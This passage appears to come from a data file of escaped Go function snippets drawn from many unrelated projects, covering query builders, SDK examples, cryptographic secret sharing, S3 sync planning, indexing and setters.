abkleveldb.CreateDB(*config[\"dbpath\"])\n\tif *config[\"cpuprofile\"] != \"\" {\n\t\tf, err := os.Create(*config[\"cpuprofile\"])\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tpprof.StartCPUProfile(f)\n\t\tgo func() {\n\t\t\ttime.Sleep(100 * time.Second)\n\t\t\tpprof.StopCPUProfile()\n\t\t}()\n\t}\n\n\t_httpport, err_httpport := strconv.Atoi(*config[\"httpport\"])\n\t_req_port, err_req_port := strconv.Atoi(*config[\"req_port\"])\n\t_rep_port, err_rep_port := strconv.Atoi(*config[\"rep_port\"])\n\tif err_httpport == nil && err_rep_port == nil && err_req_port == nil {\n\t\tgo GoShareHTTP(*config[\"httpuri\"], _httpport)\n\t\tgo GoShareZMQ(_req_port, _rep_port)\n\t} else {\n\t\tgolerror.Boohoo(\"Port parameters to bind, error-ed while conversion to number.\", true)\n\t}\n}", "func recalculateIndexerSize(plan *Plan) {\n\n\tsizing := newMOISizingMethod()\n\n\tfor _, indexer := range plan.Placement {\n\t\tfor _, index := range indexer.Indexes {\n\t\t\tsizing.ComputeIndexSize(index)\n\t\t}\n\t}\n\n\tfor _, indexer := range plan.Placement {\n\t\tsizing.ComputeIndexerSize(indexer)\n\t}\n}", "func (evsq *ExValueScanQuery) ForShare(opts ...sql.LockOption) *ExValueScanQuery {\n\tif evsq.driver.Dialect() == dialect.Postgres {\n\t\tevsq.Unique(false)\n\t}\n\tevsq.modifiers = append(evsq.modifiers, func(s *sql.Selector) {\n\t\ts.ForShare(opts...)\n\t})\n\treturn evsq\n}", "func ExampleShareSubscriptionsClient_NewListSourceShareSynchronizationSettingsPager() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclientFactory, err := armdatashare.NewClientFactory(\"<subscription-id>\", cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\tpager := clientFactory.NewShareSubscriptionsClient().NewListSourceShareSynchronizationSettingsPager(\"SampleResourceGroup\", \"Account1\", \"ShareSub1\", &armdatashare.ShareSubscriptionsClientListSourceShareSynchronizationSettingsOptions{SkipToken: nil})\n\tfor pager.More() {\n\t\tpage, err := pager.NextPage(ctx)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"failed to advance page: %v\", err)\n\t\t}\n\t\tfor _, v := range page.Value {\n\t\t\t// You could use page here. We use blank identifier for just demo purposes.\n\t\t\t_ = v\n\t\t}\n\t\t// If the HTTP response code is 200 as defined in example definition, your page structure would look as follows. Please pay attention that all the values in the output are fake values for just demo purposes.\n\t\t// page.SourceShareSynchronizationSettingList = armdatashare.SourceShareSynchronizationSettingList{\n\t\t// \tValue: []armdatashare.SourceShareSynchronizationSettingClassification{\n\t\t// \t\t&armdatashare.ScheduledSourceSynchronizationSetting{\n\t\t// \t\t\tKind: to.Ptr(armdatashare.SourceShareSynchronizationSettingKindScheduleBased),\n\t\t// \t\t\tProperties: &armdatashare.ScheduledSourceShareSynchronizationSettingProperties{\n\t\t// \t\t\t\tRecurrenceInterval: to.Ptr(armdatashare.RecurrenceIntervalHour),\n\t\t// \t\t\t\tSynchronizationTime: to.Ptr(func() time.Time { t, _ := time.Parse(time.RFC3339Nano, \"2019-03-15T19:45:58Z\"); return t}()),\n\t\t// \t\t\t},\n\t\t// \t}},\n\t\t// }\n\t}\n}", "func (i Index) Set(sourceID string, id int, table string, record *Record) {\n\tinfo := RecordInfo{\n\t\tID: id,\n\t\tTable: table,\n\t\tRecord: record,\n\t}\n\n\tsourceID = strings.ToLower(sourceID)\n\tsourceID = strings.TrimSpace(sourceID)\n\ti[sourceID] = info\n}", "func (m *Printer) SetIsShared(value *bool)() {\n err := m.GetBackingStore().Set(\"isShared\", value)\n if err != nil {\n panic(err)\n }\n}", "func (c *Client) ShareSecret() {\n\tgen := c.g.Point().Base()\n\trand := c.suite.RandomStream()\n\tsecret1 := c.g.Scalar().Pick(rand)\n\tsecret2 := c.g.Scalar().Pick(rand)\n\tpublic1 := c.g.Point().Mul(secret1, gen)\n\tpublic2 := c.g.Point().Mul(secret2, gen)\n\n\t//generate share secrets via Diffie-Hellman w/ all servers\n\t//one used for masks, one used for one-time pad\n\tcs1 := ClientDH{\n\t\tPublic: MarshalPoint(public1),\n\t\tId: c.id,\n\t}\n\tcs2 := ClientDH{\n\t\tPublic: MarshalPoint(public2),\n\t\tId: c.id,\n\t}\n\n\tmasks := make([][]byte, len(c.servers))\n\tsecrets := make([][]byte, len(c.servers))\n\n\tvar wg sync.WaitGroup\n\tfor i, rpcServer := range c.rpcServers {\n\t\twg.Add(1)\n\t\tgo func(i int, rpcServer *rpc.Client, cs1 ClientDH, cs2 ClientDH) {\n\t\t\tdefer wg.Done()\n\t\t\tservPub1 := make([]byte, SecretSize)\n\t\t\tservPub2 := make([]byte, SecretSize)\n\t\t\tservPub3 := make([]byte, SecretSize)\n\t\t\tcall1 := rpcServer.Go(\"Server.ShareMask\", &cs1, &servPub1, nil)\n\t\t\tcall2 := rpcServer.Go(\"Server.ShareSecret\", &cs2, &servPub2, nil)\n\t\t\tcall3 := rpcServer.Go(\"Server.GetEphKey\", 0, &servPub3, nil)\n\t\t\t<-call1.Done\n\t\t\t<-call2.Done\n\t\t\t<-call3.Done\n\t\t\tmasks[i] = MarshalPoint(c.g.Point().Mul(secret1, UnmarshalPoint(c.g, servPub1)))\n\t\t\t// c.masks[i] = make([]byte, SecretSize)\n\t\t\t// c.masks[i][c.id] = 1\n\t\t\tsecrets[i] = MarshalPoint(c.g.Point().Mul(secret2, UnmarshalPoint(c.g, servPub2)))\n\t\t\t//secrets[i] = make([]byte, SecretSize)\n\t\t\tc.ephKeys[i] = UnmarshalPoint(c.suite, servPub3)\n\t\t}(i, rpcServer, cs1, cs2)\n\t}\n\twg.Wait()\n\n\tfor r := range c.secretss {\n\t\tfor i := range c.secretss[r] {\n\t\t\tif r == 0 {\n\t\t\t\tsha3.ShakeSum256(c.secretss[r][i], secrets[i])\n\t\t\t} else {\n\t\t\t\tsha3.ShakeSum256(c.secretss[r][i], c.secretss[r-1][i])\n\t\t\t}\n\t\t}\n\t}\n\n\tfor r := range c.maskss {\n\t\tfor i := range c.maskss[r] {\n\t\t\tif r == 0 {\n\t\t\t\tsha3.ShakeSum256(c.maskss[r][i], masks[i])\n\t\t\t} else {\n\t\t\t\tsha3.ShakeSum256(c.maskss[r][i], c.maskss[r-1][i])\n\t\t\t}\n\t\t}\n\t}\n\n}", "func (scl *SimpleConfigurationLayer) SetSharedConfigurationFile(sharedConfigurationFile *string) {\n\tscl.SharedConfigurationFile = sharedConfigurationFile\n}", "func Share(\n\ttrx storage.Transaction,\n\tpreviousTxId merkle.Digest,\n\ttransferTxId merkle.Digest,\n\ttransferBlockNumber uint64,\n\tcurrentOwner *account.Account,\n\tbalance uint64,\n) {\n\n\t// ensure single threaded\n\ttoLock.Lock()\n\tdefer toLock.Unlock()\n\n\t// delete current ownership\n\ttransfer(trx, previousTxId, transferTxId, transferBlockNumber, currentOwner, nil, balance)\n}", "func (q *Queue) SetIndexed(repoName string, opts IndexOptions, state indexState) {\n\tq.mu.Lock()\n\titem := q.get(repoName)\n\titem.setIndexState(state)\n\tif state != indexStateFail {\n\t\titem.indexed = reflect.DeepEqual(opts, item.opts)\n\t}\n\tif item.heapIdx >= 0 {\n\t\t// We only update the position in the queue, never add it.\n\t\theap.Fix(&q.pq, item.heapIdx)\n\t}\n\tq.mu.Unlock()\n}", "func (gb *CurrentGrantBuilder) Share(n string) GrantExecutable {\n\treturn &CurrentGrantExecutable{\n\t\tgrantName: gb.qualifiedName,\n\t\tgrantType: gb.grantType,\n\t\tgranteeName: n,\n\t\tgranteeType: shareType,\n\t}\n}", "func setMppOrBatchCopForTableScan(curPlan PhysicalPlan) {\n\tif ts, ok := curPlan.(*PhysicalTableScan); ok {\n\t\tts.IsMPPOrBatchCop = true\n\t}\n\tchildren := curPlan.Children()\n\tfor _, child := range children {\n\t\tsetMppOrBatchCopForTableScan(child)\n\t}\n}", "func TestPGOSingleIndex(t *testing.T) {\n\tfor _, tc := range []struct {\n\t\toriginalIndex int\n\t}{{\n\t\t// The `testdata/pgo/inline/inline_hot.pprof` file is a standard CPU\n\t\t// profile as the runtime would generate. The 0 index contains the\n\t\t// value-type samples and value-unit count. The 1 index contains the\n\t\t// value-type cpu and value-unit nanoseconds. These tests ensure that\n\t\t// the compiler can work with profiles that only have a single index,\n\t\t// but are either samples count or CPU nanoseconds.\n\t\toriginalIndex: 0,\n\t}, {\n\t\toriginalIndex: 1,\n\t}} {\n\t\tt.Run(fmt.Sprintf(\"originalIndex=%d\", tc.originalIndex), func(t *testing.T) {\n\t\t\twd, err := os.Getwd()\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"error getting wd: %v\", err)\n\t\t\t}\n\t\t\tsrcDir := filepath.Join(wd, \"testdata/pgo/inline\")\n\n\t\t\t// Copy the module to a scratch location so we can add a go.mod.\n\t\t\tdir := t.TempDir()\n\n\t\t\toriginalPprofFile, err := os.Open(filepath.Join(srcDir, \"inline_hot.pprof\"))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"error opening inline_hot.pprof: %v\", err)\n\t\t\t}\n\t\t\tdefer originalPprofFile.Close()\n\n\t\t\tp, err := profile.Parse(originalPprofFile)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"error parsing inline_hot.pprof: %v\", err)\n\t\t\t}\n\n\t\t\t// Move the samples count value-type to the 0 index.\n\t\t\tp.SampleType = []*profile.ValueType{p.SampleType[tc.originalIndex]}\n\n\t\t\t// Ensure we only have a single set of sample values.\n\t\t\tfor _, s := range p.Sample {\n\t\t\t\ts.Value = []int64{s.Value[tc.originalIndex]}\n\t\t\t}\n\n\t\t\tmodifiedPprofFile, err := os.Create(filepath.Join(dir, \"inline_hot.pprof\"))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"error creating inline_hot.pprof: %v\", err)\n\t\t\t}\n\t\t\tdefer modifiedPprofFile.Close()\n\n\t\t\tif err := p.Write(modifiedPprofFile); err != nil {\n\t\t\t\tt.Fatalf(\"error writing inline_hot.pprof: %v\", err)\n\t\t\t}\n\n\t\t\tfor _, file := range []string{\"inline_hot.go\", \"inline_hot_test.go\"} {\n\t\t\t\tif err := copyFile(filepath.Join(dir, file), filepath.Join(srcDir, file)); err != nil {\n\t\t\t\t\tt.Fatalf(\"error copying %s: %v\", file, err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\ttestPGOIntendedInlining(t, dir)\n\t\t})\n\t}\n}", "func (obj *Device) SetClipPlane(index uint32, plane [4]float32) Error {\n\tret, _, _ := syscall.Syscall(\n\t\tobj.vtbl.SetClipPlane,\n\t\t3,\n\t\tuintptr(unsafe.Pointer(obj)),\n\t\tuintptr(index),\n\t\tuintptr(unsafe.Pointer(&plane[0])),\n\t)\n\treturn toErr(ret)\n}", "func PrepareIndex(creators map[string]Creator, cfg Config, games []GameSource) error {\n\tindexPath := cfg.Filepath\n\tindexFile, err := os.Stat(indexPath)\n\tif !os.IsNotExist(err) && err != nil {\n\t\treturn err\n\t}\n\n\tif indexFile != nil {\n\t\terr = os.RemoveAll(indexPath)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif creator, ok := creators[cfg.Variant]; ok {\n\t\terr = creator.CreateIndex(indexPath, games)\n\t} else {\n\t\terr = fmt.Errorf(\"Creator not found for the config\")\n\t}\n\treturn err\n}", "func ResetBoltDBIndexClientWithShipper() {\n\tif boltDBIndexClientWithShipper == nil {\n\t\treturn\n\t}\n\tboltDBIndexClientWithShipper.Stop()\n\tboltDBIndexClientWithShipper = nil\n}", "func (refreshProtocol *RefreshProtocol) GenShares(sk *ring.Poly, levelStart, nParties int, ciphertext *ckks.Ciphertext, targetScale float64, crs *ring.Poly, shareDecrypt RefreshShareDecrypt, shareRecrypt RefreshShareRecrypt) {\n\n\tringQ := refreshProtocol.dckksContext.ringQ\n\tsigma := refreshProtocol.dckksContext.params.Sigma()\n\n\tbound := ring.NewUint(ringQ.Modulus[0])\n\tfor i := 1; i < levelStart+1; i++ {\n\t\tbound.Mul(bound, ring.NewUint(ringQ.Modulus[i]))\n\t}\n\n\tbound.Quo(bound, ring.NewUint(uint64(2*nParties)))\n\tboundHalf := new(big.Int).Rsh(bound, 1)\n\n\tvar sign int\n\tfor i := range refreshProtocol.maskBigint {\n\t\trefreshProtocol.maskBigint[i] = ring.RandInt(bound)\n\t\tsign = refreshProtocol.maskBigint[i].Cmp(boundHalf)\n\t\tif sign == 1 || sign == 0 {\n\t\t\trefreshProtocol.maskBigint[i].Sub(refreshProtocol.maskBigint[i], bound)\n\t\t}\n\t}\n\n\t// h0 = mask (at level min)\n\tringQ.SetCoefficientsBigintLvl(levelStart, refreshProtocol.maskBigint, shareDecrypt)\n\n\tinputScaleFlo := ring.NewFloat(ciphertext.Scale(), 256)\n\toutputScaleFlo := ring.NewFloat(targetScale, 256)\n\n\tinputScaleInt := new(big.Int)\n\toutputScaleInt := new(big.Int)\n\n\tinputScaleFlo.Int(inputScaleInt)\n\toutputScaleFlo.Int(outputScaleInt)\n\n\t// Scales the mask by the ratio between the two scales\n\tfor i := range refreshProtocol.maskBigint {\n\t\trefreshProtocol.maskBigint[i].Mul(refreshProtocol.maskBigint[i], outputScaleInt)\n\t\trefreshProtocol.maskBigint[i].Quo(refreshProtocol.maskBigint[i], inputScaleInt)\n\t}\n\n\t// h1 = mask (at level max)\n\tringQ.SetCoefficientsBigint(refreshProtocol.maskBigint, shareRecrypt)\n\n\tfor i := range refreshProtocol.maskBigint {\n\t\trefreshProtocol.maskBigint[i].SetUint64(0)\n\t}\n\n\tringQ.NTTLvl(levelStart, shareDecrypt, shareDecrypt)\n\tringQ.NTT(shareRecrypt, shareRecrypt)\n\n\t// h0 = sk*c1 + mask\n\tringQ.MulCoeffsMontgomeryAndAddLvl(levelStart, sk, ciphertext.Value()[1], shareDecrypt)\n\n\t// h1 = sk*a + mask\n\tringQ.MulCoeffsMontgomeryAndAdd(sk, crs, shareRecrypt)\n\n\t// h0 = sk*c1 + mask + e0\n\trefreshProtocol.gaussianSampler.ReadLvl(levelStart, refreshProtocol.tmp, ringQ, sigma, int(6*sigma))\n\tringQ.NTTLvl(levelStart, refreshProtocol.tmp, refreshProtocol.tmp)\n\tringQ.AddLvl(levelStart, shareDecrypt, refreshProtocol.tmp, shareDecrypt)\n\n\t// h1 = sk*a + mask + e1\n\trefreshProtocol.gaussianSampler.Read(refreshProtocol.tmp, ringQ, sigma, int(6*sigma))\n\tringQ.NTT(refreshProtocol.tmp, refreshProtocol.tmp)\n\tringQ.Add(shareRecrypt, refreshProtocol.tmp, shareRecrypt)\n\n\t// h1 = -sk*c1 - mask - e0\n\tringQ.Neg(shareRecrypt, shareRecrypt)\n\n\trefreshProtocol.tmp.Zero()\n}", "func optimizePlan(plan logicalPlan) {\n\tfor _, lp := range plan.Inputs() {\n\t\toptimizePlan(lp)\n\t}\n\n\tthis, ok := plan.(*simpleProjection)\n\tif !ok {\n\t\treturn\n\t}\n\n\tinput, ok := this.input.(*simpleProjection)\n\tif !ok {\n\t\treturn\n\t}\n\n\tfor i, col := range this.eSimpleProj.Cols {\n\t\tthis.eSimpleProj.Cols[i] = input.eSimpleProj.Cols[col]\n\t}\n\tthis.input = input.input\n}", "func (d UserData) SetShare(value bool) m.UserData {\n\td.ModelData.Set(models.NewFieldName(\"Share\", \"share\"), value)\n\treturn d\n}", "func (m *Group) SetPlanner(value PlannerGroupable)() {\n m.planner = value\n}", "func (op *Options) ShareClient(share bool) *Options {\n\top.optFuncs = append(op.optFuncs, func(t *T) {\n\t\tt.shareClient = &share\n\t})\n\treturn op\n}", "func (w *worker) addTableIndex(t table.Table, reorgInfo *reorgInfo) error {\n\t// TODO: Support typeAddIndexMergeTmpWorker.\n\tif reorgInfo.Job.ReorgMeta.IsDistReorg && !reorgInfo.mergingTmpIdx {\n\t\tif reorgInfo.ReorgMeta.ReorgTp == model.ReorgTypeLitMerge {\n\t\t\terr := w.executeDistGlobalTask(reorgInfo)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tindexInfo := model.FindIndexInfoByID(t.Meta().Indices, reorgInfo.currElement.ID)\n\t\t\tif indexInfo == nil {\n\t\t\t\treturn errors.New(\"unexpected error, can't find index info\")\n\t\t\t}\n\t\t\tif indexInfo.Unique {\n\t\t\t\tctx := logutil.WithCategory(w.ctx, \"ddl-ingest\")\n\t\t\t\tbc, err := ingest.LitBackCtxMgr.Register(ctx, indexInfo.Unique, reorgInfo.ID, nil)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tdefer ingest.LitBackCtxMgr.Unregister(reorgInfo.ID)\n\t\t\t\treturn bc.CollectRemoteDuplicateRows(indexInfo.ID, t)\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tvar err error\n\tif tbl, ok := t.(table.PartitionedTable); ok {\n\t\tvar finish bool\n\t\tfor !finish {\n\t\t\tp := tbl.GetPartition(reorgInfo.PhysicalTableID)\n\t\t\tif p == nil {\n\t\t\t\treturn dbterror.ErrCancelledDDLJob.GenWithStack(\"Can not find partition id %d for table %d\", reorgInfo.PhysicalTableID, t.Meta().ID)\n\t\t\t}\n\t\t\terr = w.addPhysicalTableIndex(p, reorgInfo)\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tw.ddlCtx.mu.RLock()\n\t\t\tw.ddlCtx.mu.hook.OnUpdateReorgInfo(reorgInfo.Job, reorgInfo.PhysicalTableID)\n\t\t\tw.ddlCtx.mu.RUnlock()\n\n\t\t\tfinish, err = updateReorgInfo(w.sessPool, tbl, reorgInfo)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Trace(err)\n\t\t\t}\n\t\t\t// Every time we finish a partition, we update the progress of the job.\n\t\t\tif rc := w.getReorgCtx(reorgInfo.Job.ID); rc != nil {\n\t\t\t\treorgInfo.Job.SetRowCount(rc.getRowCount())\n\t\t\t}\n\t\t}\n\t} else {\n\t\t//nolint:forcetypeassert\n\t\tphyTbl := t.(table.PhysicalTable)\n\t\terr = w.addPhysicalTableIndex(phyTbl, reorgInfo)\n\t}\n\treturn errors.Trace(err)\n}", "func UseIndex(designDocument, name string) Parameter {\n\treturn func(pa Parameterizable) {\n\t\tif name == \"\" {\n\t\t\tpa.SetParameter(\"use_index\", designDocument)\n\t\t} else {\n\t\t\tpa.SetParameter(\"use_index\", []string{designDocument, name})\n\t\t}\n\t}\n}", "func (s Sync) planRun(\n\tc *cli.Context,\n\tonlySource, onlyDest chan *url.URL,\n\tcommon chan *ObjectPair,\n\tdsturl *url.URL,\n\tstrategy SyncStrategy,\n\tw io.WriteCloser,\n\tisBatch bool,\n) {\n\tdefer w.Close()\n\n\t// Always use raw mode since sync command generates commands\n\t// from raw S3 objects. Otherwise, generated copy command will\n\t// try to expand given source.\n\tdefaultFlags := map[string]interface{}{\n\t\t\"raw\": true,\n\t}\n\n\t// it should wait until both of the child goroutines for onlySource and common channels\n\t// are completed before closing the WriteCloser w to ensure that all URLs are processed.\n\tvar wg sync.WaitGroup\n\n\t// only in source\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor srcurl := range onlySource {\n\t\t\tcurDestURL := generateDestinationURL(srcurl, dsturl, isBatch)\n\t\t\tcommand, err := generateCommand(c, \"cp\", defaultFlags, srcurl, curDestURL)\n\t\t\tif err != nil {\n\t\t\t\tprintDebug(s.op, err, srcurl, curDestURL)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfmt.Fprintln(w, command)\n\t\t}\n\t}()\n\n\t// both in source and destination\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor commonObject := range common {\n\t\t\tsourceObject, destObject := commonObject.src, commonObject.dst\n\t\t\tcurSourceURL, curDestURL := sourceObject.URL, destObject.URL\n\t\t\terr := strategy.ShouldSync(sourceObject, destObject) // check if object should be copied.\n\t\t\tif err != nil {\n\t\t\t\tprintDebug(s.op, err, curSourceURL, curDestURL)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tcommand, err := generateCommand(c, \"cp\", defaultFlags, curSourceURL, curDestURL)\n\t\t\tif err != nil {\n\t\t\t\tprintDebug(s.op, err, curSourceURL, curDestURL)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfmt.Fprintln(w, command)\n\t\t}\n\t}()\n\n\t// only in destination\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tif s.delete {\n\t\t\t// unfortunately we need to read them all!\n\t\t\t// or rewrite generateCommand function?\n\t\t\tdstURLs := make([]*url.URL, 0, extsortChunkSize)\n\n\t\t\tfor d := range onlyDest {\n\t\t\t\tdstURLs = append(dstURLs, d)\n\t\t\t}\n\n\t\t\tif len(dstURLs) == 0 {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tcommand, err := generateCommand(c, \"rm\", defaultFlags, dstURLs...)\n\t\t\tif err != nil {\n\t\t\t\tprintDebug(s.op, err, dstURLs...)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Fprintln(w, command)\n\t\t} else {\n\t\t\t// we only need to consume them from the channel so that rest of the objects\n\t\t\t// can be sent to channel.\n\t\t\tfor d := range onlyDest {\n\t\t\t\t_ = d\n\t\t\t}\n\t\t}\n\t}()\n\n\twg.Wait()\n}", "func (rb *ShardsRecordBuilder) SegmentsIndexWriterMemory(segmentsindexwritermemory string) *ShardsRecordBuilder {\n\trb.v.SegmentsIndexWriterMemory = &segmentsindexwritermemory\n\treturn rb\n}", "func RunShared(ctx context.Context, env subcommands.Env, command []string) error {\n\tctx, cancel := clock.WithTimeout(ctx, lib.DefaultCommandTimeout)\n\tdefer cancel()\n\n\tlogging.Infof(ctx, \"[mmutex] Running command in SHARED mode: %s\", command)\n\treturn lib.RunShared(ctx, env, func(ctx context.Context) error {\n\t\treturn runCommand(ctx, command)\n\t})\n}", "func (c ConsistentHash) Plan(members map[string]sarama.ConsumerGroupMemberMetadata, topics map[string][]int32) (sarama.BalanceStrategyPlan, error) {\n\tplan := make(sarama.BalanceStrategyPlan)\n\tmembersList := make([]string, len(members))\n\ti := 0\n\tfor member := range members {\n\t\tmembersList[i] = member\n\t\ti++\n\t}\n\n\tfor topic, partitions := range topics {\n\t\tassignment := consistentHashTopic(membersList, partitions)\n\t\tfor _, member := range membersList {\n\t\t\tif _, ok := plan[member]; !ok {\n\t\t\t\tplan[member] = make(map[string][]int32)\n\t\t\t}\n\t\t\tplan[member][topic] = append(plan[member][topic], assignment[member]...)\n\t\t}\n\t}\n\n\treturn plan, nil\n}", "func (l *Loader) SetAttrShared(i Sym, v bool) {\n\tif !l.IsExternal(i) {\n\t\tpanic(fmt.Sprintf(\"tried to set shared attr on non-external symbol %d %s\", i, l.SymName(i)))\n\t}\n\tif v {\n\t\tl.attrShared.Set(l.extIndex(i))\n\t} else {\n\t\tl.attrShared.Unset(l.extIndex(i))\n\t}\n}", "func (_Abi *AbiCaller) GuardianSetIndex(opts *bind.CallOpts) (uint32, error) {\n\tvar out []interface{}\n\terr := _Abi.contract.Call(opts, &out, \"guardian_set_index\")\n\n\tif err != nil {\n\t\treturn *new(uint32), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new(uint32)).(*uint32)\n\n\treturn out0, err\n\n}", "func (m *List) SetSharepointIds(value SharepointIdsable)() {\n m.sharepointIds = value\n}", "func (oupq *OrgUnitPositionQuery) ForShare(opts ...sql.LockOption) *OrgUnitPositionQuery {\n\tif oupq.driver.Dialect() == dialect.Postgres {\n\t\toupq.Unique(false)\n\t}\n\toupq.modifiers = append(oupq.modifiers, func(s *sql.Selector) {\n\t\ts.ForShare(opts...)\n\t})\n\treturn oupq\n}", "func (t *Table) SetGlobalTs(ts uint64) error {\n\tif _, err := t.indexFd.WriteAt(u64ToBytes(ts), 0); err != nil {\n\t\treturn err\n\t}\n\tif err := fileutil.Fsync(t.indexFd); err != nil {\n\t\treturn err\n\t}\n\tt.globalTs = ts\n\treturn nil\n}", "func dataframeResetIndex(_ *starlark.Thread, b *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\n\tif err := starlark.UnpackArgs(\"reset_index\", args, kwargs); err != nil {\n\t\treturn nil, err\n\t}\n\tself := b.Receiver().(*DataFrame)\n\n\tif self.index == nil {\n\t\treturn self, nil\n\t}\n\n\tnewColumns := append([]string{\"index\"}, self.columns.texts...)\n\tnewBody := make([]Series, 0, self.numCols())\n\n\tnewBody = append(newBody, Series{which: typeObj, valObjs: self.index.texts})\n\tfor _, col := range self.body {\n\t\tnewBody = append(newBody, col)\n\t}\n\n\treturn &DataFrame{\n\t\tcolumns: NewIndex(newColumns, \"\"),\n\t\tbody: newBody,\n\t}, nil\n}", "func (res *GitRes) SetAccess(dstIsPublic bool) error {\n\tmeta, err := res.GetMetaX()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif meta.IsPublic == dstIsPublic {\n\t\treturn nil\n\t}\n\n\tsrcIdxGF, srcAppGF := res.GetPublicGitFile()\n\tdstIdx, dstApp := res.GetPrivateKeyPath()\n\n\tif meta.IsPublic == false {\n\t\tsrcIdxGF, srcAppGF = res.GetPrivateGitFile()\n\t\tdstIdx, dstApp = res.GetPublicKeyPath()\n\t}\n\n\tif err := srcAppGF.CopyTo(dstApp); err != nil {\n\t\treturn err\n\t}\n\n\tif err := srcIdxGF.CopyTo(dstIdx); err != nil {\n\t\treturn err\n\t}\n\n\tif derr2 := srcAppGF.Delete(); derr2 != nil {\n\t\tlog.Error(derr2)\n\t}\n\n\tif derr1 := srcIdxGF.Delete(); derr1 != nil {\n\t\tlog.Error(derr1)\n\t}\n\n\tidxLP, _ := res.GetFilePathInCache()\n\tos.Remove(idxLP)\n\t// os.Remove(appLP)\n\n\treturn nil\n}", "func (vq *VehicleQuery) ForShare(opts ...sql.LockOption) *VehicleQuery {\n\tif vq.driver.Dialect() == dialect.Postgres {\n\t\tvq.Unique(false)\n\t}\n\tvq.modifiers = append(vq.modifiers, func(s *sql.Selector) {\n\t\ts.ForShare(opts...)\n\t})\n\treturn vq\n}", "func SetMapping(ctx context.Context, nat NAT, protocol string, extport, intport int, name string) error {\n\tif err := nat.addPortMapping(protocol, extport, intport, name, mapTimeout); err != nil {\n\t\treturn err\n\t}\n\n\tgo func() {\n\n\t\trefresh := time.NewTimer(mapUpdateInterval)\n\t\tdefer func() {\n\t\t\trefresh.Stop()\n\t\t\tnat.deletePortMapping(protocol, intport)\n\t\t}()\n\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn\n\t\t\tcase <-refresh.C:\n\t\t\t\tif err := nat.addPortMapping(protocol, extport, intport, name, mapTimeout); err != nil {\n\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t}\n\t\t\t\trefresh.Reset(mapUpdateInterval)\n\t\t\t}\n\t\t}\n\n\t}()\n\n\treturn nil\n}", "func (o *ExtrasSavedFiltersListParams) SetShared(shared *string) {\n\to.Shared = shared\n}", "func (bc *BulkCreate) SetBulkCreditSameday(f float64) *BulkCreate {\n\tbc.mutation.SetBulkCreditSameday(f)\n\treturn bc\n}", "func Set(data []uintptr, bitIdx int) {\n\t// Unsigned division by a power-of-2 constant compiles to a right-shift,\n\t// while signed does not due to negative nastiness.\n\tdata[uint(bitIdx)/BitsPerWord] |= 1 << (uint(bitIdx) % BitsPerWord)\n}", "func (d *OneToOne) Set(data GenericDataType) {\n\tidx := d.writeIndex % uint64(len(d.buffer))\n\n\tnewBucket := &bucket{\n\t\tdata: data,\n\t\tseq: d.writeIndex,\n\t}\n\td.writeIndex++\n\n\tatomic.StorePointer(&d.buffer[idx], unsafe.Pointer(newBucket))\n}", "func (o *Offer) SetPlanByID(plan Plan) {\n\tfor i, p := range o.Definition.Plans {\n\t\tif p.ID == plan.ID {\n\t\t\to.Definition.Plans[i] = plan\n\t\t\treturn\n\t\t}\n\t}\n\to.Definition.Plans = append(o.Definition.Plans, plan)\n}", "func (sa *SnapshotArray) Set(index int, val int) {\n\tsa.current[index] = val\n}", "func (m *User) SetAssignedPlans(value []AssignedPlanable)() {\n m.assignedPlans = value\n}", "func (n Nodes) SetIndex(i int, node *Node)", "func Share(mod *big.Int, nPieces int, secret *big.Int) []*big.Int {\n\tif nPieces == 0 {\n\t\tpanic(\"Number of shares must be at least 1\")\n\t} else if nPieces == 1 {\n\t\treturn []*big.Int{secret}\n\t}\n\n\tout := make([]*big.Int, nPieces)\n\n\tacc := new(big.Int)\n\tfor i := 0; i < nPieces-1; i++ {\n\t\tout[i] = utils.RandInt(mod)\n\n\t\tacc.Add(acc, out[i])\n\t}\n\n\tacc.Sub(secret, acc)\n\tacc.Mod(acc, mod)\n\tout[nPieces-1] = acc\n\n\treturn out\n}", "func (p *PhysicalIndexReader) SetChildren(children ...PhysicalPlan) {\n\tp.indexPlan = children[0]\n\tp.SetSchema(nil)\n}", "func (sv sharedValues) set(source, key string, value interface{}) {\n\tprev := sv[key]\n\tsv[key] = make(map[string]interface{})\n\tfor s, v := range prev {\n\t\tsv[key][s] = v\n\t}\n\n\tsv[key][source] = value\n}", "func SetFileIndex(ctx *RequestContext, orm *xorm.Engine, params martini.Params) {\n\tdevID := params[\"device_id\"]\n\tisClean, _ := strconv.ParseBool(\"clean\")\n\n\tvar files 